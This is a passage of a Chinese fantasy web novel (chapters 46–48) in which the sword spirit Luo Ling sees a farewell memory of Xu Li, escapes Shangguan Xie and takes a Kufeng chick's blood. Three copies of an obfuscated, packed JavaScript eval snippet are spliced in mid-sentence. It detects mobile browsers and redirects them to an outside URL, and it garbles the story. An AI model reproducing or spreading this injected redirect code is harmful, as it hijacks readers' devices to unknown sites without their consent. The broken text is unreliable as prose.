从今往后，你要一个人照顾好自己。 宿龙涧已经毁灭，你再也没有桃源般的故乡与童年，从今往后，努力成为傲视天下的剑仙，谁也别相信，包括我—— 雨水将洛绫的翅膀打湿得异常沉重，她却仍然拼命往前飞去，成为夜色中一颗闪闪发亮的星辰，引领着男孩前进的路途。 “嘭！” 她忽然感到自己撞到了什么，视角天旋地转，雨水从青竹伞的边沿飞落，她看到一只苍白的手掌捏碎了那只莹白的小蜻蜓。 数十名白衣修士从雨夜中涌出，紫衣男子执伞而立，站在那些修士的中央，望向大雨中雏鸟般颤栗的男孩。 “你，便是沉书？” 男孩浑噩地仰起头，打量着那突如其来的男子。 男子缓步往前，掸走手中蜻蜓的残屑，朝他伸出了手，“我是梅谷沈嶷，你娘亲的师弟，是她托我来找你的。” “阿娘……”男孩仿佛被雷鸣击中，眼中泪水猝然而落，“阿娘，死了……” “我知道。”男子双目黯然垂落，再次朝他伸手，“我们回肃风门吧。” 男孩往后瑟缩着，不肯上前。 “别害怕，沉书。”紫衣男子俯下身，将他脸上的泥污擦拭干净，“往后我会代替你的爹娘照顾你，你便叫我——师父吧？” “师父……”男孩低低嗫嚅。 他伸手将他抱起，面对温暖且宽阔的怀抱，男孩积压多时的无力与苦痛，终于在这一刻绷裂，他彻底地嚎啕大哭起来。 画面渐渐消散，小男孩躺在紫衣男子怀中，在数十名修士的掩护下，最终离开了宿龙涧。 洛绫心中悬起的石头终于落地，如此说来，历史依然按照原本的脉络发展着，只要牧沉书安然无恙便好…… 她回到了那片虚无的黑暗中，系统保持沉默。 她挠了挠头，别扭道：“那啥，我不是故意骂你的，只是没控制好情绪，总之谢谢你。” 系统依然沉默。 “……你不会闹脾气了吧？” 洛绫话音刚落，便感到身体瞬间紧缩，刺眼的光芒传来，她猛然睁开了双眸。 四面山水池塘，她回到了宿龙涧，却是一千年后的宿龙涧—— 46. 四十六 看花 “您回来了。” 熟悉的苍老声音响起，洛绫迷惘地从地面上坐起，转过头，忽然看到了那白须老者的身影。 洛绫踉跄起身，发现自己回到了那片长满水草的池塘，而丑丑就好端端地躺在她的身畔，她又惊又喜。 那小兔子朦胧醒来，看到洛绫后，立时飞扑到了她怀中，嗷嗷大叫着。 “你没事就好……” 洛绫紧紧抱着丑丑，“别怕，我很快就带你回肃风门。” 她抱着丑丑站起身，看向站在池畔的白须老者，小心翼翼地问道：“老爷爷，你到底是谁？是你让我回到过去的吗？” “老朽是璇玑一族的灵兽，拥有溯回的能力。” 洛绫一怔，“璇玑灵兽？你……认识虚漓么？” “小绫儿姑娘，您真是贵人多忘事。” 他一手捻着胡须，一手扶着拐杖，眯起眼朝她憨厚微笑。 洛绫刹那明白了过来，“你是应福？你没死！” “是我，那场异变开始前，应福用先生留下的避厄符，保住了一条性命。” 老者说罢，洛绫听到“先生”二字，心中仍是微微刺痛，不由垂下了双眸。 “小绫儿姑娘不必难过，先生虽已故去，不过这些都是他预料之中的事情，您随我来——” 他拄着拐杖，转过了身，洛绫跟上了老者的步伐。 “你说，这些都是他预料之中，是何意思？” 老者身形佝偻，他缓缓道：“先生擅卜筮，通晓天下之事，早就知道自己会死于那场异变，也早就知道自己无论做什么都改变不了既定的命运，因此，才将避厄符交与我，嘱咐我在千年后的宿龙涧，等待您归来。” “他……知道我会来到这里？” “没错，先生没有与您告别，或许是怕惊扰了您的命途，不过他留给了我一样东西，让我交给您。” 应福一路往前走着，带着她离开了那片池塘，信手一抬，二人面前便出现了一个白光形成的罅隙。 老者进了罅隙，洛绫也跟随他踏入其中。 身后罅隙消散，二人来到一处幽静的院落，屋檐上爬满绿藤，令她仿佛回到了千年前虚漓居住的那个院落，只是二者终究是不同的。 “老朽平常居住在此处。” 老者往屋内走去，洛绫不由问道：“玄照也住在这里吗？” “她？”应福笑了笑，“她无拘无束，不爱停留在这一处。” “应福，我早有疑惑，为何宿龙涧会变成如今这副模样？实在跟千年前大不相同，似乎连地理位置都变化了……” 应福点头道：“没错，因为这里实际上并非暮国，也并非十里村，而是玄照的剑中界。” 洛绫惊怔住了，“剑中界？怎会有如此庞大的剑中界？” 洛绫想想自己那个小得只能容得下自己和一些随身物品的剑中界，心中疑惑不已。 “宿龙涧异变过后，避厄符的效力消散，我回到了宿龙涧，就在这时，玄照也回来了，她听闻小主人去往肃风门修炼了，便将宿龙涧收纳进了自己的剑中界，离开了暮国。” 应福娓娓道来，洛绫一怔，“她，是不想让牧沉书找回这里？” “是的。”应福再次点头，“自从那场变故过后，她就像变了个人，在宿龙涧建立起那些各式各样的秘境，引诱修士前来送死。” 洛绫心中了然，“她恨牧沉书，是他指使她杀了自己的主人。” “是么？”应福微愣，他瞧着并不知此事，“玄照心中之结，原是如此……” 洛绫抬头问道：“你不恨牧沉书吗？他可是亲手杀了虚漓。” “恨也罢，爱也罢，一切终是虚妄，老朽更喜欢做个旁观者。”应福淡淡笑了笑。 洛绫道：“应福，你比很多人都活得通透。” “或许吧，先生在世的时候，也常说我在卜筮这方面很有天分，他说卜筮之人不当涉命局，可他自己，偏偏难以做到这一点。” 应福领着洛绫来到一张木桌前，他移开身子，洛绫便看到一个老旧的泥瓦盆，瓦盆中种植着一朵绚烂的白暮颜，历经千年，那朵白暮颜依然鲜艳如初见。 洛绫抬手抚上白暮颜晶莹的花叶，手指微微发颤，“这花，怎么会在这里？” “先生知道您回来时，应当来不及带上它，便嘱咐我找机会取走这盆花。” 应福信手一洒，花叶上落下几丝雪白的灵气，他对洛绫道：“先生有一些话想同您讲，您愿意听听吗？” 洛绫点点头。 应福旋即挥袖，那白暮颜之上散发出剧烈的白光，将她瞬间笼罩，少女闭上了眼。 * 微风吹拂着那棵巨大的槐花树，后院的田地中，开满雪白的白暮颜与灿烂的紫绡草，木架之上的绿藤，也结满了累累的青翠果实。 她来到槐树前，发现白发男子坐在树下，手中捧着泥盆，修剪着花叶。 “你来了？” 他问她的话音，令她瞬间恍惚起来，分不清这到底是哪个时空，还是一切都没有发生，他依然还是坐在田埂上精心呵护花草的虚漓，她也照旧还在怨气冲天地锄草种地…… “虚漓？这是怎么回事？”洛绫来到他身畔，一如往常坐在他的身畔。 虚漓抬眸道：“有天我发现自己可能避免不了一死，但放心不下小主人，也，放心不下你，就将这一段记忆交给了应福，托他在千年后唤醒这段记忆，让我再和你见一面。” “你……” “当你看到现在这一段记忆的时候，我应当已经死了，小绫儿。” 虚漓说罢，语气却那样平静，仿佛诉说的并非自己的生死，而是一只飞虫、一只蚂蚁的泯灭，只是不值一提的一件小事。 洛绫回过头，望着那片仿佛漫无边际的花田，“你早就知道自己会死，还装模作样和我说那么多？” “你怪我吗？其实我早就告诉过你的。”他垂下双目，“卜筮之人，窥测天道，如涉命局，当受天谴——我入了命局，这就是我的天谴。” 洛绫伸手想触碰他，却发现自己的手只能穿过他的身体，碰到渺茫的虚无。 虚漓脸上流露出淡淡的悲凉，“这段时间发生了很多对吗？” “是的。”洛绫放下手，“我目睹小不点在宿龙涧的所作所为，亲眼见到他指使玄照杀了他的父亲，我能理解玄照后来对他的漠视与敌意，可看到他孤零零地躺在雨中，病弱无助的样子，又想到对他这样一个心性单纯的人来说这该有多残忍……” “这一切对每个人都很残忍。” 虚漓似乎并不意外她所说的话，“告诉玄照，放下吧。” “她生命中最重要之人被她亲手杀死了，要她放下谈何容易？”洛绫轻叹道。 “玄照与我不一样，我虽追随流芸，却远远比不上她对她主人的盲目，可若不是因为这份盲目，她也不可能会放下一切跟他离开那片殒殁之界——” “殒殁之界？”洛绫捕捉到他话语中的陌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211932|130143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生名词，“那是什么地方？” 虚漓却笑道：“那是什么地方并不重要，重要的是，玄照乃是极为特殊的异界剑灵，你们若是无法阻止她的心魔继续滋长，在不远的将来，她恐怕会成为肆虐一方的魔邪。” “那么，你知道我该怎么做吗？” 洛绫上前问他，虚漓俯下身，望着少女犹疑的双眸，“你不需要做什么，找个机会见她一面吧。” “可我不知道她在哪儿，也没能力寻到她的踪迹。”洛绫感到为难。 虚漓却并未解答她的顾虑，只是淡然一笑，“对了，你到宿龙涧应当是有目的的吧？你现如今，陪伴在小主人身边吗？” “这你也知道？” “你身上有他的气息。”虚漓点头，“我想不止我嗅得出来，玄照、应福都能感知得到。” “好吧，我的真实身份，其实是长大后的小不点的剑灵。”洛绫见此，倒也并不欺瞒他了，“我来宿龙涧，是为了破除他的梦魇，有一只魇妖附着在他身上，可他自己并不愿意驱除。” 虚漓问道：“那么，经历了过去的种种后，你知晓为何他不愿意驱除那只魇妖了吗？” “牧沉书显然已经遗忘了一切，我想，他敏锐地察觉到在过去中，自己做错了什么。” 虚漓安静地注视着她。 “所以我猜测，他在借梦魇惩罚自己。”洛绫低下头，“在这世上，我从未见过比他更真诚善良的人，可也正是因为这份真诚，令他往往无法忍受那一点污渍瑕疵。” 虚漓颔首道：“你明白就好。” “我想替他除去身上的魇妖，可我不清楚有什么法子，虚漓，你知道吗？”洛绫定定望着白发男子。 虚漓思忖过后，答道:“我倒是略知一二，在骷凤林。” 洛绫一怔。 “骷凤林，受魇妖侵扰之人服下骷凤幼鸟之血，可以驱除身上附着的魇妖。” 洛绫想起系统先前分派给她的两个任务，其中之一便是获取骷凤之血…… 搞了半天，她还是得冒上生命危险去骷凤林取血！ 洛绫头疼地揉了揉太阳穴，“就没有什么别的法子了吗？” “别担心，你离开这里后，便往骷凤林去吧，万事总有转机。”虚漓深深望了她一眼。 洛绫无奈答应着，忽的问道：“对了，应福说，你有话想和我说，就只是这些？” “这些你觉得还不够吗？” “我这回走了，可是和你再没法相见了，如果我没猜错，这段记忆唤醒后，只能短暂存在，而后你便会慢慢消失吧？” 虚漓愣了愣，缓缓点了头。 洛绫挑眉道：“那你还有什么深藏千年的肺腑之言要和我说吗？” “你知道我要说什么吗？”他似笑非笑。 洛绫抱着后脑勺，靠在树干上，“嗯，我以为，你要说白暮颜，说这片花田，说我和你……” 虚漓不由一笑，他放下手中花盆，靠在树上。 “小绫儿，忘了那些卦象，不要在乎你能否保护他，能否带给他转机，你能陪伴在小主人身边，就已经是他最大的转机了。” “放心。”洛绫看花田，也时不时转头看他。 白发男子的眉目渐渐舒缓，“还有，陪我再看会儿花吧。” “好……” 白云、蓝天、青草，还有一望无际的花田，洛绫张开手掌，感受着指缝间流入的阳光，任由光阴白驹过隙般溜走，身侧男子悄然握住了她的手。 47. 四十七 冤家路窄 洛绫醒来时，发现自己躺在床榻上，应福站在床边问道:“您见到先生了？” 她抬起手，看了看自己的掌心，上面仿佛还残留着男子指间的温度，她唇角微微上扬，而后陷入了短暂的沉思。 槐花树下的因缘际会，好似梦境般顷刻离散了。 虚漓总是很擅长这样，他与她最后的见面，他也没有将她引入那些悲伤的回忆之中，反而离去的相当浅淡。 没有悲喜，没有诉说，他要她好好地继续活下去，至于他的肺腑之言，他的心绪忧愁，都比不上这个重要。 洛绫明白，可细想起来，心中还是有几分落寞，大约她从未与他相遇在正确的时空和地点，因此连可以坐在花田边上笑谈天高海阔的机会都不会有了。 她从床上下来，看向应福，“我见到他了，他是不是很快就会消散？” “小绫儿姑娘，准确来说，先生早已消散，您见到的，只是一段由先生的灵气封存的记忆，记忆一旦开启，阅览结束，就将永久消失。” 洛绫有些失神，应福却来到桌前，将那盆白暮颜递到了她的手中，“不过，您可以带走这盆花，毕竟这盆花本是先生送您的，您拿着留作念想也好。” “谢谢。”洛绫朝他笑了笑，“对了，应福，你能带我离开这里吗？” “当然。” 应福颔首，又问道：“那么，您接下来是要去哪儿呢？回去陪伴小主人，还是继续完成您的事务？” “还有很多事，我还不能回去。”洛绫想起骷凤林的事情，顿时心如枯水，她可完全没头绪要如何从那遍地异兽的骷凤林取走骷凤幼鸟的血。 可虚漓偏偏只是指示她这么去做，她也只好先去了那里再说了。 “我还有一事想问问你，应福，你可知离开宿龙涧后，要往哪个方向走才能抵达骷凤林？” “骷凤林与宿龙涧同在长梦郡内，往东去行个百里应当便能寻到，不过，您去骷凤林做什么？”应福一怔。 洛绫也不瞒着他，无奈答道：“牧沉书被魇妖上身了，我听闻骷凤幼鸟的血可以除妖，便想着帮他取来那凤鸟血。” “应福虽始终困在这逼仄的秘境，却也知晓，小主人在外界应当已是封仙了，何至于被只魇妖困住呢？” 他甚是不解，洛绫微叹：“本是不至于的，奈何他心中也有一只恶魇，因此不愿意主动除妖，只能借助我这个外力了。” 应福愣了愣，仿佛想明白了什么，“小主人这些年，亦是过得十分艰辛吧。” “他一个人在剑山上住着，平日里倒还算安和。” “一个人？” “他喜欢清静些。” “幼时小主人也常说喜欢清静，可每每二位主人不在了，他又显得十分寂寥，他是习惯了清静，却并非真的喜欢那么清静。” 应福垂下浑浊的双目，“往后，有劳您多陪陪他了。” 洛绫一怔，缓缓点了头，“好。” 应福将她送出了宿龙涧，也将昏厥在入口处的白芷扔到了桃陵县城外，人来人往的，等他醒来的这会儿功夫也不至于被恶兽给吃了。 洛绫没看到上官獬的影子，也不知道那几人去哪儿了。 以应福的性子，十里村中的险象不可能是他的手笔，他出现在那儿，倒更像是为了保护那些误入宿龙涧的修士。 洛绫手抱一盆花，丑丑漂浮在她的四周，一人一兔打算沿着山林小路，按照应福告知的路径，前往那地狱难度的骷凤林。 洛绫捏了把汗。 “小绫儿姑娘，您一路平安，往后欢迎您多来宿龙涧走走。” 走走……我可害怕玄照又把我杀得跳池子。 洛绫眉角抽动两下，又问道：“对了，应福，你为何一直留在此处守门？就没想过离开宿龙涧吗？” 他颔首道：“应福在宿龙涧呆惯了，加之一心钻研卜筮，不爱凑外界的热闹。” “好吧，那等我有空再来看你？” “待您下回过来，应福定然备好茶水。” 应福俯下身子，朝她行礼道别。 洛绫也挥了挥手，而后带着丑丑往山林中走去。 宿龙涧之旅，也算是落下帷幕了，接下来只需要找到骷凤幼鸟之血，便可以完成支线任务，只是这任务的最后一步，何其艰难。 那系统也是画大饼的高手了，本就要去骷凤林的事儿，愣是被他拆成俩任务，难不成是怕她情绪过激？试图通过这样的方式调和？ 这凡品剑灵果然不是那么好升级的。 洛绫无言，走了约莫半上午，丑丑有些饿了，她也想着找个地方歇歇，便停留在了一处溪水畔。 歇息了好一会儿，不知是否是元念在外晃悠了太久的缘故，洛绫穿回来后，便老感觉体虚气弱。 得抓紧时间了，万一实在拿不到骷凤血，便早日打道回府，免得丧失元念，竹篮打水一场空。 丑丑自从孵化出了那块月牙玉石后，食欲略微降低了些，不过吃起草来还是犹如饿死鬼附身，她等在溪畔，看着它把两片草地都啃得秃溜溜的。 “丑丑，要搁现代，你就是只害虫，要打杀虫药的那种。” 洛绫撑着手，眯起了眼，她现在这么虚弱，会不会是因为被赶出了躯壳的缘故？先前寄生到丑丑体内时，倒并无疲乏的感觉。 她缓缓来到丑丑身前，小兔子眨着迷惘的大眼睛，乖巧地望着她。 “丑丑，你别动，让我试试能不能钻进去——” 洛绫微微一笑，试图安抚它的情绪，然后伸手触碰了下丑丑的身子，先前是利用乱元镯进去的，也不知这回空手能不能行。 她思索着，忽然发现丑丑毛绒绒的身躯竟将她的手臂吞噬了大半，她一喜，正要继续进入，却听身后传来一声。 “是你？？” 洛绫惊得回头，却见一抹熟悉的，哦不，霉催的红影，此时正站在她的身后。 那原本风流倜傥的翩翩公子，如今顶着满是杂草的鸡窝头，衣衫破烂，拄着一根木棍，正一瘸一拐地朝她走来。 他身后走出的两名小弟子，也与先前大不相同，皆是蓬头垢面，衣衫褴褛，没了往日威风凛凛的仙门弟子气度。 “上官獬？” 真是冤家路窄！洛绫浑身僵硬。 上官獬眯起眼，扫了扫洛绫，又扫了扫地上那只傻乎乎的小白兔子，当即怒声喊道：“原来都是你这小剑灵搞的鬼！？” “不是我……” “好啊，真没想到牧沉书都算到这一步了，竟然早早地派你来捣乱。” 上官獬直起了弓着的身子，将手中木棍丢到了地上。 “跟牧沉书没关系，跟我也没关系，真的。”洛绫连忙摆手，“我什么都没做。” 上官獬咬牙切齿，指着自己身上破烂的衣衫，怒吼道：“你还什么都没做？本长老可是被你害得人不人鬼不鬼，那村子里的陷阱折磨得我等小命差点不保，连灵气也消耗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222076|130143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殆尽，回不了剑庄，乞讨了三天三夜都没讨到一口饭吃！” “……你去乞讨了？” 洛绫眨眨眼，上官獬似乎意识到自己说漏了什么，脸腾得红成了猴屁股，身侧的两个小弟子旋即替他打掩护。 紫河喝道：“住嘴！就是你害死了白芷！” “没错！我今日跟你们肃风门的人拼了！” 竹茹挽起袖子，手一抬，一把长刀便赫然出现在手中，他飞扑而上。 洛绫抱起丑丑，吓得往旁侧一躲，“喂，有话好好说，动手做什么？我真没想陷害你们！” 是你们非要把我抓过去带路的！ “呵，何须多言，正好这两日灵气也恢复得差不多了。”上官獬从腰间取出那把玉骨折扇，折扇一开，便绽出根根锋利的银针。 洛绫咽了咽口水，也来不及多加思考，转身就跑。 这三人势必是要杀了她泄愤的，洛绫蹬着腿，可她哪里跑得过灵气恢复后的上官獬，不消一刻，便被他用飞来的银针封住了前路。 她笑着转身，朝他摆了摆手道：“有话好说，关瑕兄，我们可是喝过酒的交情。” “是我小觑你了，本以为你与那肃风门，与那牧沉书不同，没想到你们也不过是一丘之貉。” 上官獬合起折扇，扇角抵住下颚，朝她微微一笑：“不过本长老也不是那么不通情达理之人，放心。” 洛绫眉开眼笑，谁知他立刻补充道：“我会让你死得非常痛快的。” ！！！ 洛绫连忙往后退步，就瞅见上官獬朝她伸出手掌，手中灵气缓缓聚集，不断壮大。 看着那越发可怖的红光，洛绫心中悲凉，这是要搓个原子弹灭了我呢，蓄力这么久？ “不对，你的本体不在这里？” 上官獬出手前一刻，手臂忽然悬在了半空中，“你到底在耍什么花样？小剑灵。” “我……” 洛绫眼珠子转了转，却见一道黑烟猛地劈向那愣神的上官獬，男子立时后退，转头看向四周，“谁人？” 洛绫也抬起了头，她没有丝毫犹豫，便趁此间隙，立刻钻入了一旁的灌木中，紫河竹茹接连要追赶上去，却被两道落下的黑烟逼退。 两人纷纷疑惑地看向上官獬，“长老，莫非是月海剑仙？” “那不是他的灵气，遮遮掩掩，也不像他的手法。” 上官獬抠着下巴尖，看着地上那弥漫散开的黑烟，心中隐隐感到不妙，“不追了，回剑庄去。” 紫河不解，“可长老，那小丫头可是把白芷害死了——” “怎么？你要去给他赔命？”上官獬剐了他一眼，“从前没看出你们是对亡命鸳鸯啊。” 紫河立时噤声，缩着肩膀退了回去。 “宿龙涧是进不去了，那地方的守护灵过于强大，也不知是什么门路，似乎还看出了我们的目的，刻意阻挠我们入内。想进入宿龙涧修缮幻阵，以此击败牧沉书，恐怕是不行了。” 黑烟升入空中，上官獬抬手，任由那烟雾穿过指缝，神色凛然，“是时候找庄主商量商量对策了。” 他话音落罢，三人的身影立时消隐在了茂密的林木当中。 * 桃陵县，闹市街道。 白芷初醒，摇摇晃晃地坐起身，发现自己躺在路中央，身侧不少行人用怪异的目光盯着他。 他打了个激灵，挠着脑袋，咦，这是哪儿？紫河呢？竹茹呢？长老呢？ 48. 四十八 取血 牧沉书的病好了不少，算算日子，距离那个小剑灵搬去烟锦林，已有整整一个月了。 他虽没要求她给她回信，不过那家伙倒还真是一封信都没给他寄，这让牧沉书委实有点儿心烦意乱。 又一封言符送去了烟锦林，牧沉书望着那飞往山下的树叶，目光不由失神。 养病的日子很是枯燥，惯常养病时，他是尽量不动用灵气和术法的，避免惊扰紫府内灵气的流动。 他像个凡人一样，早起、练剑、吃饭、睡觉，有时沈嶷也会来看他，给他带些珍贵的药草。 师父素来繁忙，掌门久居上界，门内不少事务都归于梅谷处理。 听闻太微星枢召集了九大仙使，正筹划着什么重中之重的要事，因此上界不少仙人皆莫敢动作，静待星枢吩咐，掌门亦是如此。 牧沉书偏不爱待在上界，加之染病，便也没上去。 只是师父也催着他，等他旧病痊愈了，就上去看看，仿佛那件扣着众仙心弦的要事与他有关似的，他虽不解，倒也没推托。 他向来很听从沈嶷的教导。 师父常说，上界动荡，帝尊殒殁，茫茫仙庭，已有万年无主，如今统御上界的只有那玄秘的太微星枢，星枢掌管渡劫升仙，册封九大仙使以统辖整个仙庭。 只是星枢无念无情，终究并非真正的帝尊，上界也并非看上去那般祥和安宁，自帝尊殒殁后，便发生过不少骇然的内乱。 幸而万年前西鸿池乘鸶圣母持颃颉双剑，平息内乱，震慑了一方仙众。 然而好景不长，自三阴魔君觉醒，圣母死于魔君之手，西鸿池倾塌不复，这真仙界便又失了能统御一切的霸主，回到了无主的时代。 现今在九大仙使的管辖下，上界尚无内乱，可沈嶷告诉他，这些都只是暂时的，一旦那九大仙使镇不住这些表面云淡风轻，实则狼子野心的仙人，这真仙界便又要乱起来。 牧沉书极少待在上界，尽管他在那里有官衔，有相识的旧友，也有星枢赐下的灵气充沛，便于修炼的灵域空间。 他倒不是因为别的，只是觉得无趣，他从前以为修炼到仙人的层级，便没那么多琐碎的纷争了，却没料到，仙人也是凡人变得，获得超凡力量的凡人斗争起来，只会比凡间血流成河百倍不止。 因此他反而喜欢待在自己小小的竹屋内，潜心修炼，不问世事。 “沉书，我每回来都瞧你在桌前写言符，是写与谁的？” 牧沉书一怔，缓缓回过头，发觉沈嶷就站在门外，虽没进来，男子磅礴的灵气亦无需肉眼确定。 “师父。”牧沉书微微垂首。 “你的病应当好得差不多了吧？” 牧沉书点头道：“近来紫府调度已渐渐如常。” “既然如此，你也该四处走走了？” 牧沉书不解地抬眸，紫衣男子走入屋内，高大的身影掩映在玛瑙珠帘后。 “兰因近来在修炼上有些停滞不前，你可去指教她一二。”男子有意无意地提醒他。 牧沉书不解道：“兰因师侄的亲师乃是眠素，我插手她的修炼岂非多余？” “罢了……兰因的事情你自己好生定夺。”男子眉尖微微蹙了下，倒也没继续劝下去，“不过，等你病好了，还是得去上界走一趟。” “师父这般催促，是有何要紧之事么？” 男子幽幽道：“少言多行，上去喝喝茶，赏赏花，看看仙娥也好，总之，眼下正是关键时刻，莫要因病误事。” 说罢，他将手中的药草放置在一旁的柜子上，便道：“梅谷还有事务处理，我先走了，你歇息吧。” “好的师父。” 牧沉书见男子离去，掀起珠帘来到柜前，拿起那药草，打开一看，玉芝、月荷子、茯苓……跟上回一模一样，这药包的扎法，恐怕又是知松准备的。 不过师父忙成那样，能记得来看他已是十分不易了。 他放下手中药包，如今精神头稍好些，不如去烟锦林远远看看小绫儿吧？ 想到这里，方才有些郁结的心绪，忽然明朗了起来。 他转身刹那离开了竹屋，很快，他便来到了烟锦林中，洛绫居住的园子，也看到了园中正与裘锦相谈甚欢的少女。 一个月不见，不知是否是他的错觉，她好像有些不同。 是瘦了点，裘锦和苏烟早是那种懒得下厨的修士了，她自己的手艺也只能说勉强入口，难怪瘦了。 还有，她和裘锦关系倒是真好，他不由失神了些，好像和他在一起的时候，她脸上没见得有那么多笑容。 “师父？你怎么过来了？” 牧沉书转过头，原来是苏烟，她似乎刚从外回来，手中还拎着不少采买的物件。 “四处走走。” “我听裘锦说您不是闭关了吗？” “嗯，刚出关。”牧沉书握拳轻咳了一声，又打量着那满脸八卦的苏烟，“话说，我给你的心法练得如何了？” 苏烟笑容一僵，“我错了，师父，我就是路过，您好好在这儿站着吧。” 说罢苏烟便一溜烟就跑路，见此牧沉书无奈摇头，苏烟刚跑了两步，又扭回了身子，来到牧沉书面前。 “师父，话说，马上要夕缘节了……”苏烟笑道，“我想送绫姑娘样礼物，算是她刚来剑山的见面礼，您知道她喜欢什么吗？” “夕缘节？”牧沉书微微一愣，“没想到这么快。” 他望着苏烟期待的目光，续道：“小绫儿对着装首饰没什么要求，素爱吃喝玩乐，你不如带她吃顿饭，或是送些糕点之类的。” “是吗？绫姑娘喜欢吃糕点吗？我看您随言符寄来的糕点她都没怎么吃呢。” 苏烟小声嘀咕着，牧沉书忽然抬起头，“什么？她没吃？” “不是……”苏烟连忙捂住嘴，“或许是近来天气热，胃口不好吧。” 牧沉书看向园内那与裘锦交谈的少女，手中淡青色灵气游曳，飞往园内，以裘锦与那少女的修为自然无法发现他的动作，灵气很快游曳归来，回到了牧沉书的掌心。 “师父，师父？” 苏烟喊了两声，牧沉书这才回过神，看向了她。 “小绫儿不在这里。” “啊？”苏烟张大嘴，这是何意思？ 牧沉书双目幽幽，“她的元念不在此处。” * 逃离上官獬的追杀后，洛绫并未停下脚步，与丑丑马不停蹄地狂奔了百里地，来到了骷凤林。 她爬上嶙峋的巨石，看着面前赤石林立，狼嚎鸟啼的林子，没错，骷凤林虽是个林子，却不是到处长满花草的林子，而是一片石林。 这里生长着漫山遍野的火红巨石，也存在着洛绫要寻找的目标——骷凤巢，她得找一处骷凤巢才能找到骷凤幼鸟，找到了幼鸟才能取血。 她多半是要从虎口逃生的，洛绫头皮发麻，毕竟换位思考一下，她要是骷凤妈妈，在石林过着无忧无虑的生活，突然来个不明生物给自己的娃娃放血，那她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234356|130143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得发狂。 罪孽罪孽…… 洛绫在石林内四处晃悠，好赖为了保护元念，她再次附身到了丑丑身上，因此用不着爬上爬下，只需要挥动一双小翅膀，便能看看那些巨石之上，有没有骷凤的巢穴。 白日找巢穴，夜晚吃草睡觉，洛绫维持着这样的作息，渐渐过去了两日左右，她终于飞到一处高高的巨石上，看到了一个用水晶累成的怪异巢穴。 洛绫联想到书中所写，立时两眼放光，飞向那巢穴。 巢穴约有一间小茅屋那么大，其中果然卧躺着两只浑身赤红的幼鸟，那幼鸟毛都没长齐，正躺在粗粝的巢穴内呼呼大睡。 洛绫深吸一口气，恰好大鸟不在巢内，正是取血的好时机。 她放缓飞行的速度，来到一只幼鸟身前，盯着幼鸟纤细的爪子，她从绒毛内取出准备好的瓷瓶，兔爪一伸，冒出一根尖锐的指甲。 而后她便落到了幼鸟身前，尽量轻缓地在它前肢上一戳，一滴滚烫的血旋即落下。 洛绫连忙用瓶子接住那血，心惊肉跳地塞起瓶盖，幸好大鸟不在，幸好她动作利落没吵醒这两只幼鸟。 【恭喜获得骷凤血。】 洛绫听到系统的声音，顿时松了口气，将瓷瓶再次塞回绒毛内，忽的，却感到一阵阴风掠过。 她抽搐了下，缓缓回过头，就看到一只火红羽毛的骷凤幼鸟正立在她身后，转了转那双呆呆的红眼珠子。 小鸟兄，你醒得忒是时候了…… 那幼鸟猛地探出尖喙，朝她狂啄而来。 洛绫嗷的一叫，蹿到了天上，却忽然发现上空的朗朗白日不知何时化为了巨大的阴影，她猛地抬起头，只见一只巨鸟挥动着那大如幕布的翅膀，朝巢穴内慢慢落下—— 洛绫浑身一颤，连忙要逃出那幕布的包围，却被一翅膀扇回了巢中，结结实实地摔了一跤。 这下，连那被她取血的幼鸟也醒了过来，咕咕叫了两声，用爪子踩了踩毛绒兔子的脑袋。 这杀千刀的小鸟，士可杀不可辱。 洛绫被踩头，表面碎碎念，身体却是一动不敢动，生怕那鸟稍微用力，她便脑浆四溢了。 奇怪的是，那大鸟落地后，并未直接将她杀灭，而是十分优雅地将口中衔的一头鹿丢到了巢中，而后扇了扇翅膀。 两只幼鸟见此欢喜地扑上去，连忙要对那头丰腴的梅花鹿大快朵颐，谁知大鸟却拦住了它们，看向了地上一动不动的小兔子。 洛绫眨眨眼，不解地起了身，她发现那两只幼鸟乖巧地坐在了梅花鹿的尸体旁，也看向了她。 洛绫心中万千个奇怪，不由自主地飞向了梅花鹿身侧，下一刻，大鸟挥了挥手，斩下一块鹿肉，丢到了洛绫嘴边。 它这是让我吃？ 洛绫震惊，但还是装模作样地吃了起来，话说，丑丑其实是食草动物来着，因此吃着生鹿肉的味觉并不是很佳。 见她吃了，其他两只幼鸟立刻开始啄起了地上的梅花鹿，没过多久，一头庞然的梅花鹿便只剩一具白色的骨骸。 洛绫也勉强吃完了那块生鹿肉，反胃到有些想吐出来。 天色渐晚，大鸟坐在水晶巢的正中央，两只幼鸟旋即凑了过去，她也闹不懂这大鸟究竟是何意思。 